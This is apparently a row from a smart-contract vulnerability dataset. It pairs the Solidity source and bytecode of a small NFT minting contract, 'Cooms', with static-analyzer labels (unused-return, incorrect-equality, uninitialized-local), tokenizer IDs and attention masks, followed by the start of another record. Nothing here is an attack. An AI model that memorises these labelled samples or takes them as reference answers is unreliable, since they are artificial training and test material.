indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** CCCCCCCCCCCCC OOOOOOOOO OOOOOOOOO MMMMMMMM MMMMMMMM CCCCCCCCCCCCC OOOOOOOOO OOOOOOOOO MMMMMMMM MMMMMMMM TTTTTTTTTTTTTTTTTTTTTTTIIIIIIIIIIMMMMMMMM MMMMMMMMEEEEEEEEEEEEEEEEEEEEEE CCC::::::::::::C OO:::::::::OO OO:::::::::OO M:::::::M M:::::::M CCC::::::::::::C OO:::::::::OO OO:::::::::OO M:::::::M M:::::::M T:::::::::::::::::::::TI::::::::IM:::::::M M:::::::ME::::::::::::::::::::E CC:::::::::::::::C OO:::::::::::::OO OO:::::::::::::OO M::::::::M M::::::::M CC:::::::::::::::C OO:::::::::::::OO OO:::::::::::::OO M::::::::M M::::::::M T:::::::::::::::::::::TI::::::::IM::::::::M M::::::::ME::::::::::::::::::::E C:::::CCCCCCCC::::CO:::::::OOO:::::::OO:::::::OOO:::::::OM:::::::::M M:::::::::M C:::::CCCCCCCC::::CO:::::::OOO:::::::OO:::::::OOO:::::::OM:::::::::M M:::::::::M T:::::TT:::::::TT:::::TII::::::IIM:::::::::M M:::::::::MEE::::::EEEEEEEEE::::E C:::::C CCCCCCO::::::O O::::::OO::::::O O::::::OM::::::::::M M::::::::::M C:::::C CCCCCCO::::::O O::::::OO::::::O O::::::OM::::::::::M M::::::::::M TTTTTT T:::::T TTTTTT I::::I M::::::::::M M::::::::::M E:::::E EEEEEE C:::::C O:::::O O:::::OO:::::O O:::::OM:::::::::::M M:::::::::::M C:::::C O:::::O O:::::OO:::::O O:::::OM:::::::::::M M:::::::::::M T:::::T I::::I M:::::::::::M M:::::::::::M E:::::E C:::::C O:::::O O:::::OO:::::O O:::::OM:::::::M::::M M::::M:::::::M C:::::C O:::::O O:::::OO:::::O O:::::OM:::::::M::::M M::::M:::::::M T:::::T I::::I M:::::::M::::M M::::M:::::::M E::::::EEEEEEEEEE C:::::C O:::::O O:::::OO:::::O O:::::OM::::::M M::::M M::::M M::::::M C:::::C O:::::O O:::::OO:::::O O:::::OM::::::M M::::M M::::M M::::::M T:::::T I::::I M::::::M M::::M M::::M M::::::M E:::::::::::::::E C:::::C O:::::O O:::::OO:::::O O:::::OM::::::M M::::M::::M M::::::M C:::::C O:::::O O:::::OO:::::O O:::::OM::::::M M::::M::::M M::::::M T:::::T I::::I M::::::M M::::M::::M M::::::M E:::::::::::::::E C:::::C O:::::O O:::::OO:::::O O:::::OM::::::M M:::::::M M::::::M C:::::C O:::::O O:::::OO:::::O O:::::OM::::::M M:::::::M M::::::M T:::::T I::::I M::::::M M:::::::M M::::::M E::::::EEEEEEEEEE C:::::C O:::::O O:::::OO:::::O O:::::OM::::::M M:::::M M::::::M C:::::C O:::::O O:::::OO:::::O O:::::OM::::::M M:::::M M::::::M T:::::T I::::I M::::::M M:::::M M::::::M E:::::E C:::::C CCCCCCO::::::O O::::::OO::::::O O::::::OM::::::M MMMMM M::::::M C:::::C CCCCCCO::::::O O::::::OO::::::O O::::::OM::::::M MMMMM M::::::M T:::::T I::::I M::::::M MMMMM M::::::M E:::::E EEEEEE C:::::CCCCCCCC::::CO:::::::OOO:::::::OO:::::::OOO:::::::OM::::::M M::::::M C:::::CCCCCCCC::::CO:::::::OOO:::::::OO:::::::OOO:::::::OM::::::M M::::::M TT:::::::TT II::::::IIM::::::M M::::::MEE::::::EEEEEEEE:::::E CC:::::::::::::::C OO:::::::::::::OO OO:::::::::::::OO M::::::M M::::::M CC:::::::::::::::C OO:::::::::::::OO OO:::::::::::::OO M::::::M M::::::M T:::::::::T I::::::::IM::::::M M::::::ME::::::::::::::::::::E CCC::::::::::::C OO:::::::::OO OO:::::::::OO M::::::M M::::::M CCC::::::::::::C OO:::::::::OO OO:::::::::OO M::::::M M::::::M T:::::::::T I::::::::IM::::::M M::::::ME::::::::::::::::::::E CCCCCCCCCCCCC OOOOOOOOO OOOOOOOOO MMMMMMMM MMMMMMMM CCCCCCCCCCCCC OOOOOOOOO OOOOOOOOO MMMMMMMM MMMMMMMM TTTTTTTTTTT IIIIIIIIIIMMMMMMMM MMMMMMMMEEEEEEEEEEEEEEEEEEEEEE */ contract Cooms is Ownable, ERC721A, ReentrancyGuard { uint256 constant maxSupply = 699; // 699 uint256 constant maxAmount = 20; uint256 constant PUBLIC_PRICE = 0.0069 ether; // state variable bool public MINTING_PAUSED = true; string public baseTokenURI; string public _contractURI = ""; constructor() ERC721A("Cooms", "COOMS", maxAmount) {} function setPauseMinting(bool _pause) public onlyOwner { MINTING_PAUSED = _pause; } function publicMint(uint256 numberOfTokens) external payable { require(!MINTING_PAUSED, "Minting is not active"); require(totalSupply() < maxSupply, 'All tokens have been minted'); require(totalSupply() + numberOfTokens <= maxSupply, 'Purchase would exceed max supply'); require(numberOfTokens <= maxAmount, "Purchase at a time exceeds max allowed."); require(PUBLIC_PRICE * numberOfTokens <= msg.value, 'ETH amount is not sufficient'); _safeMint(msg.sender, numberOfTokens); } function withdraw() external onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } function setBaseURI(string calldata baseURI) public onlyOwner { baseTokenURI = baseURI; } function setContractURI(string calldata URI) external onlyOwner { _contractURI = URI; } function contractURI() public view returns (string memory) { return _contractURI; } }
0x6080604052600436106101df576000357c010000000000000000000000000000000000000000000000000000000090048063715018a611610114578063c0e72740116100b2578063e8a3d48511610081578063e8a3d485146104d3578063e985e9c5146104e8578063f2fde38b14610508578063f6e024a814610528576101df565b8063c0e7274014610474578063c87b56dd14610489578063d547cfb7146104a9578063d7224ba0146104be576101df565b806395d89b41116100ee57806395d89b41146103ff5780639f2ec9f214610414578063a22cb46514610434578063b88d4fde14610454576101df565b8063715018a6146103b55780638da5cb5b146103ca578063938e3d7b146103df576101df565b80632f745c59116101815780634f6ccce71161015b5780634f6ccce71461033557806355f804b3146103555780636352211e1461037557806370a0823114610395576101df565b80632f745c59146102e05780633ccfd60b1461030057806342842e0e14610315576101df565b8063095ea7b3116101bd578063095ea7b31461026957806318160ddd1461028b57806323b872dd146102ad5780632db11544146102cd576101df565b806301ffc9a7146101e457806306fdde031461021a578063081812fc1461023c575b600080fd5b3480156101f057600080fd5b506102046101ff366004611c8d565b61053d565b6040516102119190611df5565b60405180910390f35b34801561022657600080fd5b5061022f6105eb565b6040516102119190611e00565b34801561024857600080fd5b5061025c610257366004611d32565b61067d565b6040516102119190611da5565b34801561027557600080fd5b50610289610284366004611c4a565b6106cc565b005b34801561029757600080fd5b506102a061076b565b604051610211919061261a565b3480156102b957600080fd5b506102896102c8366004611b1a565b610771565b6102896102db366004611d32565b61077c565b3480156102ec57600080fd5b506102a06102fb366004611c4a565b610868565b34801561030c57600080fd5b5061028961096a565b34801561032157600080fd5b50610289610330366004611b1a565b6109e0565b34801561034157600080fd5b506102a0610350366004611d32565b6109fb565b34801561036157600080fd5b50610289610370366004611cc5565b610a2a565b34801561038157600080fd5b5061025c610390366004611d32565b610a78565b3480156103a157600080fd5b506102a06103b0366004611ace565b610a8a565b3480156103c157600080fd5b50610289610ada565b3480156103d657600080fd5b5061025c610b28565b3480156103eb57600080fd5b506102896103fa366004611cc5565b610b37565b34801561040b57600080fd5b5061022f610b85565b34801561042057600080fd5b5061028961042f366004611c73565b610b94565b34801561044057600080fd5b5061028961044f366004611c21565b610be9565b34801561046057600080fd5b5061028961046f366004611b55565b610cba565b34801561048057600080fd5b5061022f610cf6565b34801561049557600080fd5b5061022f6104a4366004611d32565b610d84565b3480156104b557600080fd5b5061022f610e0a565b3480156104ca57600080fd5b506102a0610e17565b3480156104df57600080fd5b5061022f610e1d565b3480156104f457600080fd5b50610204610503366004611ae8565b610e2c565b34801561051457600080fd5b50610289610523366004611ace565b610e5a565b34801561053457600080fd5b50610204610ece565b6000600160e060020a031982167f80ac58cd0000000000000000000000000000000000000000000000000000000014806105a05750600160e060020a031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b806105d45750600160e060020a031982167f780e9d6300000000000000000000000000000000000000000000000000000000145b806105e357506105e382610ed7565b90505b919050565b6060600280546105fa90612712565b80601f016020809104026020016040519081016040528092919081815260200182805461062690612712565b80156106735780601f1061064857610100808354040283529160200191610673565b820191906000526020600020905b81548152906001019060200180831161065657829003601f168201915b5050505050905090565b600061068882610f09565b6106b05760405160e560020a62461bcd0281526004016106a790612560565b60405180910390fd5b50600090815260066020526040902054600160a060020a031690565b60006106d782610a78565b905080600160a060020a031683600160a060020a0316141561070e5760405160e560020a62461bcd0281526004016106a790612321565b80600160a060020a0316610720610f10565b600160a060020a0316148061073c575061073c81610503610f10565b61075b5760405160e560020a62461bcd0281526004016106a790612078565b610766838383610f14565b505050565b60015490565b610766838383610f7d565b600a5460ff16156107a25760405160e560020a62461bcd0281526004016106a7906121f9565b6102bb6107ad61076b565b106107cd5760405160e560020a62461bcd0281526004016106a790612529565b6102bb816107d961076b565b6107e39190612645565b11156108045760405160e560020a62461bcd0281526004016106a7906120d5565b60148111156108285760405160e560020a62461bcd0281526004016106a790611fe4565b3461083a826618838370f34000612671565b111561085b5760405160e560020a62461bcd0281526004016106a790612041565b61086533826112d6565b50565b600061087383610a8a565b82106108945760405160e560020a62461bcd0281526004016106a790611e13565b600061089e61076b565b905060008060005b8381101561094857600081815260046020908152604091829020825180840190935254600160a060020a03811680845260a060020a90910467ffffffffffffffff1691830191909152156108f957805192505b87600160a060020a031683600160a060020a0316141561093557868414156109275750935061096492505050565b8361093181612750565b9450505b508061094081612750565b9150506108a6565b5060405160e560020a62461bcd0281526004016106a79061246f565b92915050565b610972610f10565b600160a060020a0316610983610b28565b600160a060020a0316146109ac5760405160e560020a62461bcd0281526004016106a7906121c4565b604051303190339082156108fc029083906000818181858888f193505050501580156109dc573d6000803e3d6000fd5b5050565b61076683838360405180602001604052806000815250610cba565b6000610a0561076b565b8210610a265760405160e560020a62461bcd0281526004016106a790611f2a565b5090565b610a32610f10565b600160a060020a0316610a43610b28565b600160a060020a031614610a6c5760405160e560020a62461bcd0281526004016106a7906121c4565b610766600b83836119fb565b6000610a83826112f0565b5192915050565b6000600160a060020a038216610ab55760405160e560020a62461bcd0281526004016106a79061210a565b50600160a060020a03166000908152600560205260409020546001608060020a031690565b610ae2610f10565b600160a060020a0316610af3610b28565b600160a060020a031614610b1c5760405160e560020a62461bcd0281526004016106a7906121c4565b610b266000611409565b565b600054600160a060020a031690565b610b3f610f10565b600160a060020a0316610b50610b28565b600160a060020a031614610b795760405160e560020a62461bcd0281526004016106a7906121c4565b610766600c83836119fb565b6060600380546105fa90612712565b610b9c610f10565b600160a060020a0316610bad610b28565b600160a060020a031614610bd65760405160e560020a62461bcd0281526004016106a7906121c4565b600a805460ff1916911515919091179055565b610bf1610f10565b600160a060020a031682600160a060020a03161415610c255760405160e560020a62461bcd0281526004016106a79061228d565b8060076000610c32610f10565b600160a060020a03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155610c76610f10565b600160a060020a03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610cae9190611df5565b60405180910390a35050565b610cc5848484610f7d565b610cd184848484611466565b610cf05760405160e560020a62461bcd0281526004016106a79061237e565b50505050565b600c8054610d0390612712565b80601f0160208091040260200160405190810160405280929190818152602001828054610d2f90612712565b8015610d7c5780601f10610d5157610100808354040283529160200191610d7c565b820191906000526020600020905b815481529060010190602001808311610d5f57829003601f168201915b505050505081565b6060610d8f82610f09565b610dae5760405160e560020a62461bcd0281526004016106a790612230565b6000610db86115ba565b90506000815111610dd85760405180602001604052806000815250610e03565b80610de2846115c9565b604051602001610df3929190611d76565b6040516020818303038152906040525b9392505050565b600b8054610d0390612712565b60085481565b6060600c80546105fa90612712565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205460ff1690565b610e62610f10565b600160a060020a0316610e73610b28565b600160a060020a031614610e9c5760405160e560020a62461bcd0281526004016106a7906121c4565b600160a060020a038116610ec55760405160e560020a62461bcd0281526004016106a790611e70565b61086581611409565b600a5460ff1681565b600160e060020a031981167f01ffc9a70000000000000000000000000000000000000000000000000000000014919050565b6001541190565b3390565b600082815260066020526040808220805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6000610f88826112f0565b905060008160000151600160a060020a0316610fa2610f10565b600160a060020a03161480610fd75750610fba610f10565b600160a060020a0316610fcc8461067d565b600160a060020a0316145b80610feb57508151610feb90610503610f10565b90508061100d5760405160e560020a62461bcd0281526004016106a7906122c4565b84600160a060020a03168260000151600160a060020a0316146110455760405160e560020a62461bcd0281526004016106a790612167565b600160a060020a03841661106e5760405160e560020a62461bcd0281526004016106a790611f87565b61107b8585856001610cf0565b61108b6000848460000151610f14565b600160a060020a03851660009081526005602052604081208054600192906110bd9084906001608060020a0316612690565b82546101009290920a6001608060020a03818102199093169183160217909155600160a060020a0386166000908152600560205260408120805460019450909261110991859116612623565b82546001608060020a039182166101009390930a928302919092021990911617905550604080518082018252600160a060020a03808716825267ffffffffffffffff42811660208085019182526000898152600490915294852093518454915190921660a060020a027bffffffffffffffff0000000000000000000000000000000000000000199290931673ffffffffffffffffffffffffffffffffffffffff1990911617161790556111bd846001612645565b600081815260046020526040902054909150600160a060020a0316611280576111e581610f09565b15611280576040805180820182528451600160a060020a03908116825260208087015167ffffffffffffffff908116828501908152600087815260049093529490912092518354945173ffffffffffffffffffffffffffffffffffffffff199095169216919091177bffffffffffffffff0000000000000000000000000000000000000000191660a060020a93909116929092029190911790555b8385600160a060020a031687600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46112ce8686866001610cf0565b505050505050565b6109dc82826040518060200160405280600081525061173d565b6112f8611a7b565b61130182610f09565b6113205760405160e560020a62461bcd0281526004016106a790611ecd565b60007f00000000000000000000000000000000000000000000000000000000000000148310611381576113737f0000000000000000000000000000000000000000000000000000000000000014846126b8565b61137e906001612645565b90505b825b8181106113ed57600081815260046020908152604091829020825180840190935254600160a060020a03811680845260a060020a90910467ffffffffffffffff1691830191909152156113da5792506105e6915050565b50806113e5816126fb565b915050611383565b5060405160e560020a62461bcd0281526004016106a7906124cc565b60008054600160a060020a0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600061147a84600160a060020a03166119f5565b156115ae5783600160a060020a031663150b7a02611496610f10565b8786866040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016114d49493929190611db9565b602060405180830381600087803b1580156114ee57600080fd5b505af192505050801561151e575060408051601f3d908101601f1916820190925261151b91810190611ca9565b60015b61157b573d80801561154c576040519150601f19603f3d011682016040523d82523d6000602084013e611551565b606091505b5080516115735760405160e560020a62461bcd0281526004016106a79061237e565b805181602001fd5b600160e060020a0319167f150b7a02000000000000000000000000000000000000000000000000000000001490506115b2565b5060015b949350505050565b6060600b80546105fa90612712565b60608161160a575060408051808201909152600181527f300000000000000000000000000000000000000000000000000000000000000060208201526105e6565b8160005b8115611634578061161e81612750565b915061162d9050600a8361265d565b915061160e565b60008167ffffffffffffffff8111156116605760e060020a634e487b7102600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561168a576020820181803683370190505b5090505b84156115b25761169f6001836126b8565b91506116ac600a8661276b565b6116b7906030612645565b7f0100000000000000000000000000000000000000000000000000000000000000028183815181106116fc5760e060020a634e487b7102600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350611736600a8661265d565b945061168e565b600154600160a060020a0384166117695760405160e560020a62461bcd0281526004016106a790612412565b61177281610f09565b156117925760405160e560020a62461bcd0281526004016106a7906123db565b7f00000000000000000000000000000000000000000000000000000000000000148311156117d55760405160e560020a62461bcd0281526004016106a7906125bd565b6117e26000858386610cf0565b600160a060020a0384166000908152600560209081526040918290208251808401845290546001608060020a038082168352700100000000000000000000000000000000909104169181019190915281518083019092528051909190819061184b908790612623565b6001608060020a031681526020018583602001516118699190612623565b6001608060020a03908116909152600160a060020a03808816600081815260056020908152604080832087518154988401518816700100000000000000000000000000000000029088166fffffffffffffffffffffffffffffffff1990991698909817909616969096179094558451808601865291825267ffffffffffffffff428116838601908152888352600490955294812091518254945190951660a060020a027bffffffffffffffff0000000000000000000000000000000000000000199590931673ffffffffffffffffffffffffffffffffffffffff1990941693909317939093161790915582905b858110156119e2576040518290600160a060020a038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46119a36000888488611466565b6119c25760405160e560020a62461bcd0281526004016106a79061237e565b816119cc81612750565b92505080806119da90612750565b915050611956565b5060018190556112ce6000878588610cf0565b3b151590565b828054611a0790612712565b90600052602060002090601f016020900481019282611a295760008555611a6f565b82601f10611a425782800160ff19823516178555611a6f565b82800160010185558215611a6f579182015b82811115611a6f578235825591602001919060010190611a54565b50610a26929150611a92565b604080518082019091526000808252602082015290565b5b80821115610a265760008155600101611a93565b8035600160a060020a03811681146105e657600080fd5b803580151581146105e657600080fd5b600060208284031215611adf578081fd5b610e0382611aa7565b60008060408385031215611afa578081fd5b611b0383611aa7565b9150611b1160208401611aa7565b90509250929050565b600080600060608486031215611b2e578081fd5b611b3784611aa7565b9250611b4560208501611aa7565b9150604084013590509250925092565b60008060008060808587031215611b6a578081fd5b611b7385611aa7565b93506020611b82818701611aa7565b935060408601359250606086013567ffffffffffffffff80821115611ba5578384fd5b818801915088601f830112611bb8578384fd5b813581811115611bca57611bca6127b1565b604051601f8201601f1916810185018381118282101715611bed57611bed6127b1565b60405281815283820185018b1015611c03578586fd5b81858501868301379081019093019390935250939692955090935050565b60008060408385031215611c33578182fd5b611c3c83611aa7565b9150611b1160208401611abe565b60008060408385031215611c5c578182fd5b611c6583611aa7565b946020939093013593505050565b600060208284031215611c84578081fd5b610e0382611abe565b600060208284031215611c9e578081fd5b8135610e03816127ca565b600060208284031215611cba578081fd5b8151610e03816127ca565b60008060208385031215611cd7578182fd5b823567ffffffffffffffff80821115611cee578384fd5b818501915085601f830112611d01578384fd5b813581811115611d0f578485fd5b866020828501011115611d20578485fd5b60209290920196919550909350505050565b600060208284031215611d43578081fd5b5035919050565b60008151808452611d628160208601602086016126cf565b601f01601f19169290920160200192915050565b60008351611d888184602088016126cf565b835190830190611d9c8183602088016126cf565b01949350505050565b600160a060020a0391909116815260200190565b6000600160a060020a03808716835280861660208401525083604083015260806060830152611deb6080830184611d4a565b9695505050505050565b901515815260200190565b600060208252610e036020830184611d4a565b60208082526022908201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60408201527f6473000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201527f6464726573730000000000000000000000000000000000000000000000000000606082015260800190565b6020808252602a908201527f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360408201527f74656e7420746f6b656e00000000000000000000000000000000000000000000606082015260800190565b60208082526023908201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560408201527f6e64730000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f455243373231413a207472616e7366657220746f20746865207a65726f20616460408201527f6472657373000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526027908201527f507572636861736520617420612074696d652065786365656473206d6178206160408201527f6c6c6f7765642e00000000000000000000000000000000000000000000000000606082015260800190565b6020808252601c908201527f45544820616d6f756e74206973206e6f742073756666696369656e7400000000604082015260600190565b60208082526039908201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60408201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000606082015260800190565b6020808252818101527f507572636861736520776f756c6420657863656564206d617820737570706c79604082015260600190565b6020808252602b908201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60408201527f65726f2061646472657373000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f455243373231413a207472616e736665722066726f6d20696e636f727265637460408201527f206f776e65720000000000000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526015908201527f4d696e74696e67206973206e6f74206163746976650000000000000000000000604082015260600190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000606082015260800190565b6020808252601a908201527f455243373231413a20617070726f766520746f2063616c6c6572000000000000604082015260600190565b60208082526032908201527f455243373231413a207472616e736665722063616c6c6572206973206e6f742060408201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000606082015260800190565b60208082526022908201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60408201527f6572000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526033908201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260408201527f6563656976657220696d706c656d656e74657200000000000000000000000000606082015260800190565b6020808252601d908201527f455243373231413a20746f6b656e20616c7265616479206d696e746564000000604082015260600190565b60208082526021908201527f455243373231413a206d696e7420746f20746865207a65726f2061646472657360408201527f7300000000000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252602e908201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060408201527f6f776e657220627920696e646578000000000000000000000000000000000000606082015260800190565b6020808252602f908201527f455243373231413a20756e61626c6520746f2064657465726d696e652074686560408201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000606082015260800190565b6020808252601b908201527f416c6c20746f6b656e732068617665206265656e206d696e7465640000000000604082015260600190565b6020808252602d908201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560408201527f78697374656e7420746f6b656e00000000000000000000000000000000000000606082015260800190565b60208082526022908201527f455243373231413a207175616e7469747920746f206d696e7420746f6f20686960408201527f6768000000000000000000000000000000000000000000000000000000000000606082015260800190565b90815260200190565b60006001608060020a03808316818516808303821115611d9c57611d9c61277f565b600082198211156126585761265861277f565b500190565b60008261266c5761266c612798565b500490565b600081600019048311821515161561268b5761268b61277f565b500290565b60006001608060020a03838116908316818110156126b0576126b061277f565b039392505050565b6000828210156126ca576126ca61277f565b500390565b60005b838110156126ea5781810151838201526020016126d2565b83811115610cf05750506000910152565b60008161270a5761270a61277f565b506000190190565b60028104600182168061272657607f821691505b6020821081141561274a5760e060020a634e487b7102600052602260045260246000fd5b50919050565b60006000198214156127645761276461277f565b5060010190565b60008261277a5761277a612798565b500690565b60e060020a634e487b7102600052601160045260246000fd5b60e060020a634e487b7102600052601260045260246000fd5b60e060020a634e487b7102600052604160045260246000fd5b600160e060020a03198116811461086557600080fdfea2646970667358221220f6371de2eff07c70a71eb6f9c5e1157c121137cf41309b640224f2021179893364736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2094, 24594, 25746, 24434, 2094, 2549, 2497, 2581, 23632, 2063, 2683, 15878, 3401, 2549, 2278, 2581, 3401, 2475, 2094, 2581, 2546, 22275, 2620, 2683, 2278, 21926, 2094, 21486, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 7817, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 1000, 5890, 21926, 19961, 2575, 2581, 2620, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,853
0x95d2dbb007b66c47aedc1fb5b50f6ae1221db8d4
// File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a 